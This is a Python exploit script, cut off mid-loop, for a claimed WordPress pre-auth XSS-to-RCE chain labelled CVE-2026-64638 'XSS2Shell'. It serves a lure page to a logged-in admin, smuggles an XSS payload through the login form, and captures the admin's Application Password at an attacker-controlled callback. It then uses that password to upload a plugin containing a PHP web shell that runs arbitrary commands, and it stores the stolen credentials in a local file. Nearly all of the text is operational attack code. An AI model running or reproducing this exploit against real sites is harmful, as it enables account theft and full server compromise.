WordPress — Pre-Auth XSS to RCE Chain via Login Page Parser Differential (CVE-2026-64638, "XSS2Shell")

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#!/usr/bin/env python3
import argparse
import base64
import io
import json
import os
import socket
import sys
import threading
import time
import urllib.parse
import urllib.request
import uuid
import zipfile
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

BANNER = r"""
 __          __           _  _____           
 \ \        / /          | |/ ____|          
  \ \  /\  / /__  _ __ __| | (___   ___  ___ 
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__ 
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|
                                              
                                              
xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only

"""

UA = "WordSec (https://wordsec.net/ | Education Purpose Only; XSS2Shell PoC)"

PLUGIN_SLUG = "xss2shell"
APP_NAME = "XSS2Shell-Poc-Wordsec"
CREDS_FILE = "xss2shell_creds.json"

G = {
    "site": None,
    "origin": None,
    "success_url": None,
    "app_id": None,
    "blogname": "WordPress",
    "delay_ms": 3000,
    "steps": [],
    "step_set": set(),
    "captured": None,
    "published": None,
}

STEP_MSG = {
    "lure_loaded": "[+] Victim opened the attacker page (session-expired lure)",
    "opener_loaded": "[+] Exploit started in the victim's browser",
    "child_written": "[+] Child popup document initialized",
    "child_ready": "[+] Popup window ready, XSS payload prepared",
    "submit_sent": "[+] XSS payload POSTed to wp-login.php",
    "upload_started": "[+] Plugin ZIP upload request sent with the victim's session",
}


def set_step(name, msg=""):
    if name not in G["step_set"]:
        G["step_set"].add(name)
        G["steps"].append((name, msg))


def load_creds(site=None):
    try:
        with open(CREDS_FILE) as f:
            data = json.load(f)
    except Exception:
        return None
    saved_site = data.get("site") or data.get("site_url")
    if site and saved_site and saved_site != site:
        return None
    return data


def save_creds(creds):
    creds = dict(creds)
    creds["saved_at"] = time.strftime("%Y-%m-%d %H:%M:%S")
    if not creds.get("shell_url"):
        creds["shell_url"] = (creds.get("site_url") or "").rstrip("/") \
            + f"/wp-content/plugins/{PLUGIN_SLUG}/shell.php"
    try:
        with open(CREDS_FILE, "w") as f:
            json.dump(creds, f, indent=2)
        print(f"[+] Application Password saved to {CREDS_FILE} for later runs "
              f"(shell: {creds['shell_url']})")
    except Exception as e:
        print(f"[*] could not save credentials to {CREDS_FILE}: {e}")


def http_get(url):
    req = urllib.request.Request(url, headers={"User-Agent": UA})
    try:
        with urllib.request.urlopen(req, timeout=20) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:
        raise


def http_json(url, data=None, headers=None, method=None):
    h = dict(headers or {})
    h.setdefault("User-Agent", UA)
    req = urllib.request.Request(
        url,
        data=(json.dumps(data).encode() if data is not None else None),
        headers=h,
        method=method,
    )
    try:
        with urllib.request.urlopen(req, timeout=20) as r:
            return json.loads(r.read().decode())
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", "replace")
        try:
            return json.loads(body)
        except Exception:
            return {"_http_error": e.code, "_body": body[:500]}


def basic_auth_header(user_login, password):
    token = base64.b64encode(f"{user_login}:{password}".encode()).decode()
    return {"Authorization": "Basic " + token, "Content-Type": "application/json"}


def shell_alive(shell_url):
    try:
        r = http_json(shell_url + "?cmd=" + urllib.parse.quote("id"))
        return bool(r.get("rce"))
    except Exception:
        return False


def build_opener_page():
    import html
    origin = G["origin"]
    site = G["site"]
    delay = int(G["delay_ms"])
    payload = (
        "< area id=ajaxurl href=/?rest_route=/&_method=GET"
        "&_jsonp=window.opener.approve.click&_envelope=1>"
        "< div id=color-picker class=reset-pass-submit>"
        '< button class="wp-generate-pw color-option">X'
    )
    value = html.escape(payload, quote=True)
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell</title></head>
<body><script>
(function () {
  var ORIGIN = %(origin)r;
  var SITE = %(site)r;
  var SUCCESS = %(success)r;
  var APP_ID = %(app_id)r;
  var APP_NAME = %(app_name)r;
  var LOG_VALUE = %(value)r;
  var DELAY = %(delay)s;
  function beacon(k, v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  function child_content() {
    return '<!doctype html><meta charset="utf-8"><title>XSS2Shell - child</title>'
      + '<form id="f" method="post" action="' + SITE + '/wp-login.php">'
      + '<input type="hidden" name="log" value="' + LOG_VALUE + '">'
      + '<input type="hidden" name="pwd" value="x">'
      + '</form>'
      + '<scr' + 'ipt>'
      + 'function b(k,v){new Image().src="' + ORIGIN + '/beacon?step="+encodeURIComponent(k)+"&msg="+encodeURIComponent(v||"");}'
      + "b('child_ready');"
      + "setTimeout(function(){b('submit_sent');document.getElementById('f').submit();}," + DELAY + ");"
      + '</scr' + 'ipt>';
  }
  function run() {
    beacon('opener_loaded');
    var child = null;
    try { child = window.open('about:blank', 'xss2child'); } catch (e) {}
    if (!child) { beacon('popup_blocked'); return; }
    try {
      child.location.href = ORIGIN + '/child';
      beacon('child_written');
    } catch (e) { beacon('child_error', String(e)); }
    location.href = SITE + '/wp-admin/authorize-application.php' +
      '?app_name=' + encodeURIComponent(APP_NAME) +
      '&app_id=' + APP_ID +
      '&success_url=' + encodeURIComponent(SUCCESS);
  }
  run();
})();
</script></body></html>
""" % {"origin": origin, "site": site, "success": G["success_url"],
       "app_id": G["app_id"], "app_name": APP_NAME, "value": value,
       "delay": delay}


def build_child_page():
    import html
    origin = G["origin"]
    site = G["site"]
    delay = int(G["delay_ms"])
    payload = (
        "< area id=ajaxurl href=/?rest_route=/&_method=GET"
        "&_jsonp=window.opener.approve.click&_envelope=1>"
        "< div id=color-picker class=reset-pass-submit>"
        '< button class="wp-generate-pw color-option">X'
    )
    value = html.escape(payload, quote=True)
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell - child</title></head>
<body><form id="f" method="post" action="%(site)s/wp-login.php">
<input type="hidden" name="log" value="%(value)s">
<input type="hidden" name="pwd" value="x">
</form><script>
(function () {
  var ORIGIN = %(origin)r;
  var DELAY = %(delay)s;
  function b(k,v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  b('child_ready');
  setTimeout(function () {
    b('submit_sent');
    document.getElementById('f').submit();
  }, DELAY);
})();
</script></body></html>
""" % {"origin": origin, "site": site, "value": value, "delay": delay}


def build_callback_page(fallback=None):
    origin = G["origin"]
    site = G["site"]
    published_js = (
        "(async function(){"
        "var B='%s';" % origin
        + "var ZIP='%s';" % (origin + "/payload.zip")
        + "function b(k,v){new Image().src=B+'/beacon?step='+encodeURIComponent(k)+'&msg='+encodeURIComponent(v||'');}"
        + "try{"
        + "b('upload_started');"
        + "var zip=await(await fetch(ZIP)).arrayBuffer();"
        + "var html=await(await fetch('/wp-admin/plugin-install.php?tab=upload')).text();"
        + "var m=html.match(/name=\"_wpnonce\" value=\"([^\"]+)\"/);"
        + "if(!m){document.title='ERR_NONCE';b('upload_result','ERR_NONCE');return;}"
        + "var fd=new FormData();"
        + "fd.append('_wpnonce',m[1]);"
        + "fd.append('pluginzip',new Blob([zip]),'xss2shell.zip');"
        + "await fetch('/wp-admin/update.php?action=upload-plugin',{method:'POST',body:fd});"
        + "document.title='UPLOADED';b('upload_result','UPLOADED');"
        + "}catch(e){document.title='ERR:'+e;b('upload_result','ERR:'+e);}"
        + "location.href='/wp-admin/';"
        + "})();"
    )
    head = "<script>" + published_js
    fallback_js = ""
    if fallback:
        fallback_js = "  var FALLBACK = %(fallback)s;\n" % {"fallback": json.dumps(fallback)}
        user_line = "  var user = qs.get('user_login') || (FALLBACK && FALLBACK.user_login);"
        pass_line = "  var pass = qs.get('password') || (FALLBACK && FALLBACK.password);"
    else:
        user_line = "  var user = qs.get('user_login');"
        pass_line = "  var pass = qs.get('password');"
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell - callback</title></head>
<body><script>
(function () {
  var ORIGIN = %(origin)r;
  var site = %(site)r;
  var qs = new URLSearchParams(location.search);
  %(fallback_js)s
  %(user_line)s
  %(pass_line)s
  function beacon(k, v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  if (!pass) { document.body.textContent = 'no application password captured'; beacon('publish_error', 'no password'); return; }
  var content = %(head)s + '</scr' + 'ipt>';
  fetch(site + '/wp-json/wp/v2/pages', {
    method: 'POST',
    headers: { 'Authorization': 'Basic ' + btoa(user + ':' + pass), 'Content-Type': 'application/json' },
    body: JSON.stringify({ title: 'xss2shell-' + Date.now(), status: 'publish', content: content })
  }).then(function (r) { return r.json(); }).then(function (obj) {
    if (obj && obj.link) { beacon('publish_ok', obj.link); beacon('page_id', String(obj.id)); location.href = obj.link; }
    else { document.body.textContent = 'publish failed: ' + JSON.stringify(obj); beacon('publish_error', JSON.stringify(obj)); }
  }).catch(function (e) { beacon('publish_error', String(e)); });
})();
</script></body></html>
""" % {"origin": origin, "site": site, "head": json.dumps(head), "fallback_js": fallback_js,
       "user_line": user_line, "pass_line": pass_line}


def build_plugin_zip():
    main_php = "<?php\n/**\n * Plugin Name: XSS2Shell PoC\n * Version: 1.0.0\n */\n"
    shell_php = (
        "<?php\n"
        "if ( isset( $_REQUEST['cmd'] ) ) {\n"
        "    header( 'Content-Type: application/json' );\n"
        "    echo json_encode( array( 'rce' => true, 'output' => shell_exec( $_REQUEST['cmd'] ) ) );\n"
        "    exit;\n"
        "}\n"
        "http_response_code( 404 );\n"
    )
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr(f"{PLUGIN_SLUG}/{PLUGIN_SLUG}.php", main_php)
        z.writestr(f"{PLUGIN_SLUG}/shell.php", shell_php)
    return buf.getvalue()


class Handler(BaseHTTPRequestHandler):
    server_version = "WordSec/1.0"

    def log_message(self, *args):
        pass

    def _reply(self, code, body, ctype="text/plain"):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Server", "WordSec")
        self.end_headers()
        self.wfile.write(body)

    def do_OPTIONS(self):
        self._reply(204, b"")

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        qs = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._reply(200, build_opener_page().encode(), "text/html")
        elif parsed.path == "/child":
            self._reply(200, build_child_page().encode(), "text/html")
        elif parsed.path == "/callback":
            fallback = None
            qpass = qs.get("password", [""])[0]
            if qpass:
                G["captured"] = {
                    "site_url": qs.get("site_url", [""])[0],
                    "user_login": qs.get("user_login", [""])[0],
                    "password": qpass,
                }
                save_creds(G["captured"])
                set_step("password_captured",
                         f"[+] Application Password stolen: user={G['captured']['user_login']} "
                         f"pass={G['captured']['password']} (saved to {CREDS_FILE})")
            else:
                fallback = load_creds(G["site"])
                if fallback:
                    G["captured"] = fallback
                    print(f"[*] no fresh capture; reusing saved Application Password "
                          f"(user={fallback['user_login']})")
            self._reply(200, build_callback_page(fallback).encode(), "text/html")
        elif parsed.path == "/beacon":
            name = qs.get("step", [""])[0]
            msg = qs.get("msg", [""])[0]
            if name == "publish_ok":
                G["published"] = {"link": msg}
            elif name == "page_id":
                G["published"] = dict(G["published"] or {}, id=msg)
            set_step(name, msg)
            self._reply(200, b"ok")
        elif parsed.path == "/payload.zip":
            body = build_plugin_zip()
            self.send_response(200)
            self.send_header("Content-Type", "application/zip")
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(body)
        elif parsed.path == "/state":
            self._reply(200, json.dumps(
                {"steps": G["steps"], "captured": G["captured"], "published": G["published"]}
            ).encode(), "application/json")
        else:
            self._reply(404, b"not found")


def get_lan_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"


def start_server(host="0.0.0.0", port=0):
    srv = ThreadingHTTPServer((host, port), Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv


def print_steps(seen, steps):
    for name, msg in steps:
        key = (name, msg)
        if key in seen:
            continue
        seen.add(key)
        if name == "page_id":
            continue
        if name == "password_captured":
            print(msg)
        elif name == "publish_ok":
            print(f"[+] Attacker page published: {msg}")
        elif name == "publish_error":
            print(f"[!] ERROR: failed to publish page: {msg}")
        elif name == "upload_result":
            if msg == "UPLOADED":
                print("[+] Plugin ZIP uploaded, shell.php is web-accessible")
            elif msg.startswith("ERR_NONCE"):
                print(f"[!] ERROR: plugin upload nonce not found (upload form may differ): {msg}")
            elif msg.startswith("ERR:"):
                print(f"[!] ERROR: plugin upload failed: {msg}")
            else:
                print(f"[*] Upload status: {msg}")
        elif name == "popup_blocked":
            print("[!] ERROR: browser blocked the popup (pop-up blocker)")
        elif name in STEP_MSG:
            print(STEP_MSG[name])
        else:
            print(f"[*] {name}: {msg}")


def main():
    print(BANNER)
    print("=" * 60)
    print("[*] XSS2Shell starting ...")

    ap = argparse.ArgumentParser(
        description="XSS2Shell - CVE-2026-64638 (WordPress < 7.0.3) Pre-auth XSS -> RCE",
        add_help=True,
    )
    ap.add_argument("-t", "--target", required=True,
                    help="target WordPress base URL (e.g. http://wordpress.research.local)")
    ap.add_argument("-c", "--command", required=True,
                    help="command to run on the server (e.g. id)")
    ap.add_argument("--lhost", default=None,
                    help="attacker IP to bind and advertise "
                         "(default: 0.0.0.0 with auto-detected LAN IP)")
    ap.add_argument("--lport", type=int, default=0,
                    help="attacker TCP port (default: random)")
    ap.add_argument("--keep", action="store_true", help="do not clean up artifacts")
    args = ap.parse_args()

    site = args.target.rstrip("/")
    if not site.startswith(("http://", "https://")):
        ap.error("target must start with http:// or https://")

    G["site"] = site
    G["app_id"] = str(uuid.uuid4())

    saved = load_creds(site)
    if saved:
        print(f"[*] Found saved Application Password from a previous run "
              f"(user={saved['user_login']}), will reuse it if the fresh capture fails")

    print(f"[*] Checking target: {site}/wp-login.php")
    try:
        status, body = http_get(site + "/wp-login.php")
    except Exception as e:
        print(f"[!] ERROR: admin panel not found - wp-login.php unreachable ({e})")
        sys.exit(1)
    if status != 200 or "user_login" not in body:
        print(f"[!] ERROR: admin panel not found (wp-login.php returned HTTP {status}, "
              "no WordPress login form)")
        sys.exit(1)
    print(f"[+] Admin panel found: {site}/wp-login.php")

    try:
        info = http_json(site + "/wp-json/")
        if isinstance(info, dict) and info.get("name"):
            G["blogname"] = info["name"]
    except Exception:
        pass

    if args.lhost and args.lhost != "0.0.0.0":
        bind_host = args.lhost
        lan_ip = args.lhost
    else:
        bind_host = "0.0.0.0"
        lan_ip = get_lan_ip()

    srv = start_server(bind_host, args.lport)
    _, port = srv.server_address
    G["origin"] = f"http://{lan_ip}:{port}"
    G["success_url"] = f"http://{lan_ip}:{port}/callback"
    url = G["origin"] + "/"
    shell_url = f"{site}/wp-content/plugins/{PLUGIN_SLUG}/shell.php"

    print(f"[+] Attacker server listening: {lan_ip}:{port}")
    print("[*] On the target website, the admin must open this page and log in:")
    print(f"    ->  {site}/wp-login.php")
    print("[*] Then the admin opens the link that was sent to them:")
    print(f"    ->  {url}")
    print("[*] Waiting for the admin to visit (Ctrl+C to stop) ...")

    seen = set()
    got_shell = False

    try:
        while True:
            st = {}
            try:
                st = http_json(f"{G['origin']}/state")